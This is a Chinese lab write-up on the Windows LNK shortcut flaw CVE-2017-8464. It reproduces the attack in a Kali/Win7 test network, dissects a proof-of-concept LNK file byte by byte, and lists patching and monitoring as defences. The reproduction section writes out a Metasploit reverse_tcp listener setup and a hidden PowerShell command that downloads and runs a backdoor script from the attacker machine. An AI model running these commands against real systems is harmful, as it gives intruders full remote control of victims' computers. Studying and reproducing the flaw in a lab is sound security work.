天天看點

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

概述:微軟在2017年6月份的更新檔中修補了一個快捷方式(CVE-2107-8464)的漏洞,公告稱此漏洞被國家背景的網絡攻擊所使用來實施攻擊,該漏洞也被稱為震網三代,随後Metasploit上釋出了該漏洞的PoC。官方介紹Windows系統在解析快捷方式時存在遠端執行任意代碼的高危漏洞,黑客可以通過U盤、網絡共享等途徑觸發漏洞,完全控制使用者系統,安全風險高危。本次實驗主要分為漏洞複現和poc原理分析兩部分,通過實驗理清該漏洞可能的的攻擊途徑以及如何防護。

1.漏洞介紹

該漏洞的原理同2010年美國和以色列入侵并破壞伊朗核設施的震網行動中所使用的穿透核設施隔離網絡的漏洞(CVE-2010-2568)非常類似,它可以很容易的被黑客利用來攻擊基礎設施、存放關鍵資料的核心隔離系統等。當存在漏洞的電腦被插上儲存有漏洞檔案的U盤時,不需要額外操作,漏洞攻擊程式就可以執行并完全控制使用者的電腦系統。

1.1漏洞原理

Windows系統使用二進制解析.LNK檔案,當惡意二進制代碼被系統識别執行時即可實作遠端代碼執行,由于是在explorer.exe程序中運作,是以 load 進記憶體時與目前使用者具有相同權限。

攻擊者利用這一解析過程将包含惡意二進制的代碼被附帶進可移動驅動器(或遠端共享過程中),受害者使用powershell解析 .LNK 檔案後即被黑客所控制。

2.漏洞複現

2.1測試環境

攻擊機:Kali Debian 7.x 64位 ip:192.168.150.131

靶機:win7 x64 專業版 ip:192.168.150.129

NAT模式子網網址:192.168.150.0

2.2利用原理

建立惡意快捷方式,包含惡意執行腳本,點選惡意快捷方式,導緻本機中病毒。

2.3過程

2.3.1 生成後門并建立監聽反彈

(1)切換至/var/www/html目錄

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

(2)生成一個反彈的ps1的shell

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

(3)檢視已生成search.ps1的powershell後門

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

(4)啟動Apache服務并檢視狀态

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

(5)kali下建立監聽反彈

msfconsole

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set LHOST 192.168.150.131

set lport 5555

exploit

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結
CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結
CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

2.3.2 建立遠端快捷

在靶機上建立一個powershell遠端快捷

powershell -windowstyle hidden -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http://192.168.150.131/search.ps1’);test.ps1”

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結
CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

2.3.3 控制靶機

啟動靶機遠端快捷鍵,反彈監聽,進入shell,成功進入靶機

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結
CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

2.4其他方式

利用Metasploit中CVE-2017-8464子產品制作U盤,插入靶機即可觸發漏洞。

3.poc分析

3.1構造poc

根據官方文檔利用hxd工具構造poc,儲存為lnk格式,将lnk檔案放入靶機桌面,建立C:\test\a.txt文檔,輕按兩下lnk就會彈出a.txt。

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

為友善分析具體字段,構造如下更簡單的poc。

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

3.2 原理分析

3.2.1 lnk結構

官方給出lnk檔案由五大部分組成:

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

其中用于觸發漏洞的是LinkTargetIDList和ExtraData兩個Block。

3.2.2 poc細節

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

紅色:HeaderSize,必須為0x4c。

黃色:LinkCLSID,數值不能變,否則lnk打不開。

黑色:LinkFlags,為1表示本LNK檔案包含有LinkTargetIDList。

上邊三部分屬于shelllinkheader。

黑色:IDListSize,0x6E=sizeof(IDListSize)+sizeof(Item[0])+sizeof(Item[1])+sizeof(Item[2])

綠色:itemID[0]

紅色:itemID[1]

藍色:itemID[2],包含惡意dll路徑。

這是LinkTargetIDList。

CVE-2017-8464震網3.0漏洞分析與複現1.漏洞介紹2.漏洞複現3.poc分析4.總結

紅色:SpecialFloderDataBlocksize

黃色:blocksignature,ExtraData可以包含多個部分,0xA0000005的話表面這塊是SpecialFolderDataBlock

綠色:specialfolder id,3 代表的是CSIDL_CONTROLS

黃色:offset,一個無符号整數,指定由SpecialFolderID指定的IDList的第一個子段的ItemID的位置。此值是連結目标IDList的偏移量(以位元組為機關)。

SpecialFolderDataBlock結構指定特殊檔案夾的位置。當連結目标是特殊檔案夾時,可以使用此資料來跟蹤該檔案夾,以便在加載連結時可以轉換連結目标IDList。

3.2.3 觸發過程

Windows系統二進制解析lnk檔案,到SpecialFolderDataBlock時,0x00000010說明這是SpecialFolderDataBlock字段了,0xA0000005是額外資料部分的簽名,然後0x00000003說明的是指定的是IDlist中的第三個檔案,即itemID[2],0x00000028指明了目标IDList的偏移量為28位元組,從IDListSize後面開始數28位元組就到了itemID[2],然後将其中的DLL加載進記憶體進而執行其中的DllMain。由于這個解析過程是在explorer.exe中實作的,是以對應的load進記憶體的惡意DLL也具有同樣的高權限(一般是High)。

4.總結

4.1防護措施

1.使用HanSight Enterprise監控主機行為,及時對警告排查處理。

2.更新Windows作業系統更新檔

繼續閱讀